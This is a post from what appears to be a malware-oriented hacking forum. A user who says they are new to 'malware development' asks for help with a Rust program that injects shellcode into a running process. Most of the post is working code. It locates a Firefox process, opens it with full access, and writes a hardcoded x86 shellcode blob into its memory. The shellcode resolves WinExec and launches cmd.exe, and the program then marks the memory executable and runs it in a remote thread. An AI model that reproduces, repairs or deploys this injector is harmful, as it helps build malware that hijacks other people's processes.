need help with shellcode injection code

Krematorij

Administrator
Staff member
ADMIN
BFD MEMBER
LEGEND
ULTIMATE
SUPREME
MEMBER
BFD Legacy
Joined
Oct 22, 2024
Messages
1,121
Reaction score
16,239
Website
bfdcrew.pro
Deposit
1,002$
i've only started to get into malware development and i want to start with injecting shellcode into a process
my issue is that the target process crashes and the shellcode didn't run (spawning a calculator)

i'm using rust
the crates that i'm using are ntapi, winapi, and widestring

i've confirmed that the shellcode is successfully written onto the process:
1711293408500.png



any idea on what's wrong?

below is the code
Code:
Code:
use std::{fs, mem};

use ntapi::{ntapi_base::CLIENT_ID, ntexapi::{NtQuerySystemInformation, SYSTEM_INFORMATION_CLASS, SYSTEM_PROCESS_INFORMATION}, ntmmapi::{NtAllocateVirtualMemory, NtProtectVirtualMemory, NtReadVirtualMemory, NtWriteVirtualMemory}, ntobapi::{NtClose, NtWaitForSingleObject}, ntpsapi::{NtCreateThreadEx, NtOpenProcess}};
use winapi::{ctypes, shared::{minwindef::{FALSE, PULONG}, ntdef::{HANDLE, NTSTATUS, NULL, OBJECT_ATTRIBUTES, ULONG}, ntstatus::{STATUS_ALERTED, STATUS_SUCCESS, STATUS_TIMEOUT}}, um::{handleapi::INVALID_HANDLE_VALUE, winnt::{GENERIC_ALL, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PHANDLE, PROCESS_ALL_ACCESS, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, STANDARD_RIGHTS_ALL, THREAD_ALL_ACCESS}}};
use widestring::{U16CString, U16String};

const SYSTEM_INFORMATION_CLASS_LENGTH: usize = 0x150; //336 in decimal
const TARGET_PROCESS_NAME: &'static str = "firefox";

fn main() {
    let mut shell:[u8;168] = [ 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x40,0x1c,0x8b,0x04,0x08,0x8b,0x04,0x08,
                            0x8b,0x58,0x08,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,
                            0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,
                            0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x49,0x8b,0x72,0x24,0x01,0xde,
                            0x66,0x8b,0x0c,0x4e,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x89,0xd6,0x31,0xc9,
                            0x51,0x68,0x45,0x78,0x65,0x63,0x68,0x41,0x57,0x69,0x6e,0x89,0xe1,0x8d,0x49,0x01,0x51,0x53,
                            0xff,0xd6,0x87,0xfa,0x89,0xc7,0x31,0xc9,0x51,0x68,0x72,0x65,0x61,0x64,0x68,0x69,0x74,0x54,
                            0x68,0x68,0x41,0x41,0x45,0x78,0x89,0xe1,0x8d,0x49,0x02,0x51,0x53,0xff,0xd6,0x89,0xc6,0x31,
                            0xc9,0x51,0x68,0x65,0x78,0x65,0x20,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x01,0x51,0xff,
                            0xd7,0x31,0xc9,0x51,0xff,0xd6 ];
    // let mut shell = fs::read("open-calc-shell.exe").expect("FAILED TO FIND SHELL");
    println!("SHELL SIZE: {}", shell.len());

    let mut buffer_len: u32 = 0;
    let system_info_class: SYSTEM_INFORMATION_CLASS = 5;
    let mut sys_proc_info_buf = vec![0u8; 1024*1024];
    let nt_status: NTSTATUS = unsafe {
        NtQuerySystemInformation(
            system_info_class,
            sys_proc_info_buf.as_mut_ptr().cast(),
            1024*1024,
            &mut buffer_len
        )
    };
    if nt_status != 0 { panic!("FAILED TO GET BUFFER LENGTH: {:#08x}", nt_status) }
    println!("BUFFER LENGTH: {buffer_len}");

    let mut sys_proc_info: SYSTEM_PROCESS_INFORMATION = unsafe {
        let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
        tmp_buf.copy_from_slice(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);
        mem::transmute_copy(&tmp_buf)
    };
    println!("NEXT ENTRY OFFSET OF 1ST ELEMENT: {}", sys_proc_info.NextEntryOffset);
    // let std::slice::from_ref(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);

    let mut offset = 0;
    let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
    loop {

        tmp_buf.copy_from_slice(&sys_proc_info_buf[offset..offset+SYSTEM_INFORMATION_CLASS_LENGTH]);
        sys_proc_info = unsafe { mem::transmute_copy(&tmp_buf) };

        // let name_vec: Vec<u8> = sy
        
        let raw_name_str = unsafe {
            U16String::from_ptr(sys_proc_info.ImageName.Buffer, (sys_proc_info.ImageName.Length / 2) as usize)
        };
        let Ok(name) = raw_name_str.to_string() else {
            offset += sys_proc_info.NextEntryOffset as usize;
            continue;
        };
        // println!("NAME {}", &name);
        if name.to_lowercase().contains(TARGET_PROCESS_NAME) { break; }
        offset += sys_proc_info.NextEntryOffset as usize;

        if sys_proc_info.NextEntryOffset == 0 { panic!("UNABLE TO FIND TARGET") }
    }
    

    let mut proc_handle: HANDLE = NULL;
    let mut client_id = CLIENT_ID {
        UniqueProcess: sys_proc_info.UniqueProcessId,
        UniqueThread: NULL,
    };
    let mut oa: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES::default();
    oa.Length = mem::size_of_val(&oa) as u32;
    let nt_status = unsafe {
        NtOpenProcess(
            &mut proc_handle,
            PROCESS_ALL_ACCESS,
            &mut oa,
            // &mut client_id
            &mut sys_proc_info.Threads[0].ClientId
        )
    };
    if nt_status != 0 { panic!("FAILED TO OPEN PROCESS: {:#08x}", nt_status) }
    println!("PROC HANDLE {:#?}", proc_handle);

    let mut base_addr = NULL;
    let mut shell_len = shell.len();
    let nt_status = unsafe {
        NtAllocateVirtualMemory(
            proc_handle,
            &mut base_addr,
            0,
            &mut shell_len,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        )
    };
    if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
    println!("BASE ADDRESS: {:#?}", base_addr);

    let mut written_bytes = 0usize;
    let nt_status = unsafe {
        NtWriteVirtualMemory(
            proc_handle,
            base_addr,
            shell.as_mut_ptr().cast(),
            shell_len,
            &mut written_bytes
        )
    };
    if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
    println!("WRITTEN BYTE COUNT: {:#?}", written_bytes);

    // let mut read_bytes = 0;
    // let nt_status = unsafe {
    //     NtReadVirtualMemory(
    //         proc_handle,
    //         base_addr,
    //         shell_tmp.as_mut_ptr().cast(),
    //         shell_tmp.len(),
    //         &mut read_bytes
    //     )
    // };
    // if nt_status != 0 { panic!("FAILED TO READ: {:#08x}", nt_status) }
    // println!("READ BYTE COUNT: {:#?}", read_bytes);
    // println!("SHELL BUFFER: {:#?}", shell_tmp);

    let mut old_protect = 0;
    let nt_status = unsafe {
        NtProtectVirtualMemory(
            proc_handle,
            &mut base_addr,
            &mut shell_len,
            PAGE_EXECUTE_READWRITE,
            &mut old_protect
        )
    };
    if nt_status != 0 { panic!("FAILED TO CHANGE PROTECTION: {:#08x}", nt_status) }

    let mut thread_handle = INVALID_HANDLE_VALUE;
    let nt_status = unsafe {
        NtCreateThreadEx(
            &mut thread_handle,
            THREAD_ALL_ACCESS,
            NULL.cast(),
            proc_handle,
            base_addr,
            NULL,
            0,
            0,
            0,
            0,
            NULL.cast()
        )
    };
    if nt_status != 0 { panic!("FAILED TO START THREAD: {:#08x}", nt_status) }
    println!("THREAD HANDLE: {:#?}", thread_handle);

    unsafe { NtClose(proc_handle) };
    // unsafe { NtClose(thread_handle) };

    unsafe {
        loop {
            
            let wait_status = NtWaitForSingleObject(thread_handle, 0, NULL.cast());
            if wait_status == STATUS_SUCCESS {
                println!("SUCCESS");
                break;
            } else if wait_status == STATUS_TIMEOUT {
                panic!("TIME OUT");
            } else if wait_status == STATUS_ALERTED {
                panic!("BUH?");
            }
        }
    }

}
 
Top Bottom